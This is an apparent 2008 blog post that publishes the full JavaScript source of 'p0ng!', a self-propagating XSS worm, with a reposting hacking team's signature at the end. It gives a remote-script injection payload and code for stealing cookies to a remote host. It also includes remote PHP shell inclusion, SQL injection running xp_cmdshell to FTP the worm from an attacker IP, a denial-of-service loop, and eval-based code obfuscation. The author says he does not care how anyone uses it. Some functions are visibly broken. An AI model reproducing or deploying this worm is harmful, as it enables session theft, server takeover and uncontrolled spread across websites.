After the diminutive XSS
worm replication contest, I got the idea of writing a universal XSS worm that
can be applied in almost any situation or location. No, that was a joke. I had
the idea for a long time, but never got around to actually write something like
it. The biggest issue regarding webapplication worms isn't about the worm size,
but about the hole to let it propagate. With remote Javascript files we can go
any place and any size we want to. The only trigger we need is a simple
<script/> instance to let it become part of the website and it's DOM. We
only have to call the remote Javascript file each time, and we can adjust or
modify the payload of the worm at any time. The downside? well, actually there
isn't one. One might argue that they could block the remote Javascript file,
but when they found out a worm is hitting their system, it's usually too late.
Many worms only need a few seconds to become mostly unaddressable annoying.
But, p0ng! -as this worm is called- is different. It tries to propagate itself
through SQL injection, PHP code injection and also tries to fetch remote shells
to upload new copies of itself. Well, that's gonna be nasty to mitigate!
How to propgate it:
"><script src='http://www.acme.com/p0ng.js'></script>
That's usually enough in most XSS holes. Really, besides tailoring the worm to
one's needs of course.
a couple of functionalities:
- SQL injection
- DOM Session & global
storage (thanks Firefox)
- Remote shells -shell.php?
turns victims into new hosts-
- Automatic form fillers
- Javascript source code
morpher
- ...Tons of other useful features for a decent worm.
The reason I wrote this universal worm was out of sheer fun. I don't care what
anyone else does with it. If bad guys wanted to write something like it, they
would have done that already. But screw this disclaimer! it's no magic! It is
meant to learn from, and I hope the lesson will be that there is no way of
stopping worms unless you just fixes your holes. it is as simple as that. p0ng!
doesn't come as a worm out of a can, it needs preparation, a goal and a
vulnerable website.
I hope you enjoy it, until next time: stay tuned and stay safe!
/**
* @name:
+-+-+-+-+-+-+-+-+-+-+-+
P
0 N G !
+-+-+-+-+-+-+-+-+-+-+-+
* @file: p0ng.js
* @author: 0x000000,
Ronald van den Heetkamp & guests
* @func: universal xss
worm
* @date: 2008.01.07
*
**/
/*** string components ***/
String.prototype.urlencode
= function(){
return
encodeURIComponent(this);
}
String.prototype.xsplit
= function(q,x) {
b
= this.split(q);
return
b[x];
}
String.prototype.xor
= function(n) {
x
= this;
y
= n; x ^ y; y = x ^ y; x = x ^ y;
return
x;
}
String.prototype.rand
= function(n) {
n
? n = parseInt(n) : n = 1024;
return
(Math.floor(Math.random () * n + 1 ));
}
String.prototype.zeroFill
= function(d) {
var
str = this; while (str.length < d) { str = "0" + str; }
return
str;
}
String.prototype.getCharCodes
= function() {
var
codes = [];
for(var
i=0; i<this.length;i++) {
codes.push(this.charCodeAt(i));
}
return
codes;
}
String.prototype.toUnicode
= function() {
var
code = '';
var
codes = this.getCharCodes();
for(var
i=0; i<codes.length;i++) {
code
+= '\\u' + codes[i].toString(16).zeroFill(4);
}
return
code;
}
String.prototype.toOctal
= function() {
var
code = '';
var
codes = this.getCharCodes();
for(var
i=0; i<codes.length;i++) {
code
+= '\\' + codes[i].toString(8);
}
return
code;
}
String.prototype.toHex
= function() {
var
code = '';
var
codes = this.getCharCodes();
for(var
i=0; i<codes.length;i++) {
code
+= '\\x' + codes[i].toString(16);
}
return
code;
}
/*** array components ***/
Array.prototype.in_array
= function(str) {
ret
= false;
for
(i=(this.length-1); i>=0; i--) {
if
(this[i] == str) {
ret
= true;
}
}
return
ret;
}
/*** worm auto-append
component ***/
function
worm(uri) {
w
= document.createElement('script');
uri
? u = uri : u = window.location.href;
w.src
= u;
try
{
document.getElementsByTagName('head')[0].appendChild(w);
}
catch(ex) {
document.getElementsByTagName('body')[0].appendChild(w);
}
};
/*** worm XHR object ***/
function
xhr() {
var
xhtp,xml,s;
try
{ xhtp = new XMLHttpRequest(); s=true; } catch(ex) {
xml
= ['MSXML2.XMLHTTP','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.6.0','MSXML2.XMLHTTP.7.0'];
for
(i=(xml.length-1) && !s; i>=0; i--) {
try { xhtp = new ActiveXObject(xml[i]); s=true; } catch(ex) { s=false; }
}
}
return
xhtp;
};
Object.prototype.post
= function(uri,arg) {
/***
usage: xhr().post('foo.php'); ***/
this.open('POST',
uri, true);
this.setRequestHeader('Content-type',
'application/x-www-form-urlencoded');
this.setRequestHeader('Content-length',
arg.length);
this.setRequestHeader('Connection',
'close');
this.send(arg);
};
Object.prototype.get
= function(uri,argv) {
/***
usage: xhr().get('foo.php'); ***/
this.open('GET',uri,true);
this.send
(argv);
this.onreadystatechange
= function () {
if (this.readyState == 4) {
if (this.status == 200) {
var xmlget = this.responseText;
}
}
};
this.send(argv);
return
xmlget;
};
/*** DOM storage component
***/
Object.prototype.domstore
= function(url,name,obj) {
try
{
globalStorage[''].name=obj;
s=false;
}
catch(ex) {
url?
globalStorage[url].name=obj:globalStorage[document.domain].name;
sessionStorage.name
= obj;
s=true;
}
return
s;
};
/*** charset information
***/
Object.prototype.charset
= function () {
document.charset
? c = document.charset: c = false;
return
c;
};
/*** event attach component
***/
Object.prototype.eventer
= function(type,listener,useCapture) {
try
{ this.addEventListener(type,listener,useCapture);
ret
= true;
}
catch(ex) { var ret = this.attachEvent('on' + type, listener);
ret
= true;
}
return
ret;
};
/*** form submitting
component ***/
Object.prototype.fillform
= function(data) {
for(j
= 0; j < document.forms.length; ++j) {
xform
= document.forms[j];
for(i
= 0; i < xform.elements.length; ++i) {
xform.elements[i].value
= data;
}
}
};
/*** form hiddenfield
submitting component ***/
Object.prototype.fillhidden
= function(data) {
for(j
= 0; j < document.forms.length; ++j) {
xform
= document.forms[j];
for(i
= 0; i < xform.elements.length; ++i) {
if(xform.elements[i].type
== 'hidden') {
xform.elements[i].value
= data;
}
}
}
};
/*** element array component
***/
Object.prototype.elements
= function(arg) {
var
elems =[];
for
(i=0;i<arg.length;i++) {
var
e = arg[i];
e
= document.getElementById(e);
elems.push(e);
}
return
elems;
};
/*** document links
component ***/
Object.prototype.links
= function() {
rl
= [];
lk
= document.links;
for(y=0;y<lk.length;++y)
{
rl.push(lk[y]);
}
return
rl;
};
/*** query parts component
***/
Object.prototype.queryparts
= function(uri) {
k
= [];
uri?uri=uri:uri=window.location.href;
(uri.indexOf('?')==-1)?i=0:i=1;
if(i)
{
//uri
= uri.search(/\?/)
j
= uri.split("&");
for(i=1;i<j.length;i++)
{
j[i]
= j[i].replace(/=(.*)/,'');
k.push(j[i]);
}
}
else {
k
= 0;
}
return
k;
};
/*** cookie logger component
***/
Object.prototype.logcookie
= function(uri) {
var img = document.createElement('img');
document.appendChild(img);
img.src
= uri + "?c="+escape(document.cookie)+"q="+rand();
};
/*** color calculating
component ***/
Object.prototype.visited
= function(color) {
c
= color;
if
(this.currentStyle) {
var
x = this.currentStyle['color'];
}
else if (window.getComputedStyle) {
var
x = document.defaultView.getComputedStyle(this,null).getPropertyValue('color');
}
if(c
== x) { res = true; } else { res = false; }
return
res;
};
/*** most clicked links
estimater ***/
Object.prototype.estimate
= function(color) {
var
link_array = [];
for(i
in links()) {
if(i.visited(color))
{
link_array.push(i);
}
}
return
link_array;
}
/*** denial of service
trigger ***/
Object.prototype.dos
= function() {
this.onfocus
= function() {d()}
this.onblur
= function() {d()}
function
d() {
for(i=0;i<800;i++)
{
url
= window.location.href;
uri
= document.location = url;
if
(!uri.closed && url.location) {
document.location
= url;
}
}
}
};
/*** remote shell spawning
component ***/
Object.prototype.spawnshell
= function(uri) {
shell
= uri + 'shell.php?';
var
gateways =
['base_path','theme_path','cmd','dir','req_path','template','base_path','page',
'systempath','phpbb_root_path','returnpath','inc_dir','include','CONFIG[path]','inc','main_path',
'mosConfig_absolute_path','basepath','configFile'];
for(i=0;i<gateways.length;++i)
{
xhr().get(document.domain
+ '?',gateways[i] + '=' + shell);
}
};
/*** hit & run
shellspawner ***/
Object.prototype.hitandrun
= function(uri) {
shell
= uri + 'shell.php?';
var
gateways = [];
var
l = links();
for(j
= 0; j < l.length; ++j) {
gateways.push(queryparts(l[j]))
}
for(i
= 0; i < gateways.length; ++i) {
xhr().get(document.domain
+ '?',gateways[i] + '=' + shell);
}
};
/*** SQL injecter component
pOc ***/
Object.prototype.sqlinject
= function(vuln_uri,ftpip) {
seq = "1'; exec
master..xp_cmdshell 'echo open "+ftpip+" 21 >>
%systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec
master..xp_cmdshell 'echo user foo bar >> %systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec
master..xp_cmdshell 'echo get %systemroot%\inetpub\wwwroot\p0ng.js
>>";
seq +=
"%systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec
master..xp_cmdshell 'echo quit >> %systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec
master..xp_cmdshell 'ftp -i -n -v -s:
%systemroot%\inetpub\wwwroot\p0ng.js';";
try
{
xhr().get(vuln_uri+seq)
}
catch(ex) {
return
false
}
};
/*** source morphing
component ***/
String.prototype.toVariables
= function() {
var
code = this;
var
operators =
['>','<','&','&&','|','||','%','==','!=','===','!=='];
var
operator = operators[Math.floor(Math.random()*operators.length)];
var
number1 = Math.floor(Math.random()*10);
var
number2 = Math.floor(Math.random()*10);
var
statement = number1+operator+number2;
var
concatStr = '';
if(eval(statement)
== true) {concatStr += statement; } else {
concatStr
+= '!' + statement; }
concatStr
+= "?'s1':0";
var
customConcat = concatStr;
var
separateStatements = ',';
var
variablePrefixes = ['b2_','x2_','$_','x_','s_'];
var
pos = Math.floor(Math.random()*variablePrefixes.length);
var
varName = variablePrefixes[pos];
var
vector = concatStr;
var
concatString = '';
for(var
i=0; i<code.length;i++) {
concatString
+= (varName + i + '=') + vector.replace("s1", code.charAt(i)) +
separateStatements;
}
concatString
+= '' + varName + (i++) + '=';
for(var
i=0; i<code.length;i++) {
concatString
+= (varName + i);
if(i
+ 1 < code.length) {
concatString
+= '+';
}
}
return
concatString;
}
Object.prototype.morph
= function(s) {
var
source = s;
var
m = ['unicode','charcodes','octal','hex','urlencode','variables'];
var
pos=Math.floor(Math.random() * m.length);
morphtype
= m[pos];
source
= morphselection(source,morphtype);
return;
}
switch(morphtype)
{
case
"unicode":source = "eval('"+ source.toUnicode() +
"')"; break;
case
"charcodes":source = 'eval(String.fromCharCode(' +
source.getCharCodes() + '))'; break;
case
"octal":source = "eval('"+ source.toOctal() +
"')"; break;
case
"hex":source = "eval('"+ source.toHex() + "')";
break;
case
"urlencode":source = "eval(unescape('"+ escape(source) +
"'))"; break;
case
"variables":source = source.toVariables(); break;
}
return
source;
};
Object.prototype.morphselection
= function(source,morphtype) {
switch(morphtype)
{
case
"unicode":source = matchUnicode(source); break;
case
"octal":source = matchOctal(source); break;
case
"hex":source = matchHex(source); break;
case
"urlencode":source = matchUrlencode(source); break;
case
"charcodes":source = matchCharcodes(source); break;
case
"variables":source = matchVariables(source); break;
}
return
source;
};
Object.prototype.matchVariables
= function(source) {
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return $2.toVariables() } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return $2.toVariables() } );
return
source;
};
Object.prototype.matchCharcodes
= function(source) {
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );
return
source;
};
Object.prototype.matchUrlencode
= function(source) {
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return 'unescape(\'' + escape($2) + '\')' } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return 'unescape("' + escape($2) + '\")' } );
return
source;
};
Object.prototype.matchOctal
= function(source) {
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return $1 + $2.toOctal() + $3 } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return $1 + $2.toOctal() + $3 } );
return
source;
};
Object.prototype.matchHex
= function(source) {
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return $1 + $2.toHex() + $3 } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return $1 + $2.toHex() + $3 } );
return
source;
};
Object.prototype.matchUnicode
= function(source) {
source
= source.replace(/(\\[uU][\w\d]{4})?(\w*)([\s(]?)/,
function($0,
$1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
source
= source.replace(/(['])([^']+)(['])/,
function($0,
$1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
source
= source.replace(/(["])([^"]+)(["])/,
function($0,
$1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
return
source;
};
[Ph4nt0m Security Team]
Email: ax...@ph4nt0m.org
=== V3ry G00d, V3ry Str0ng ===
=== Ultim4te H4cking ===
=== XPLOITZ ! ===
=== #_# ===
#If you brave,there is nothing you cannot achieve.#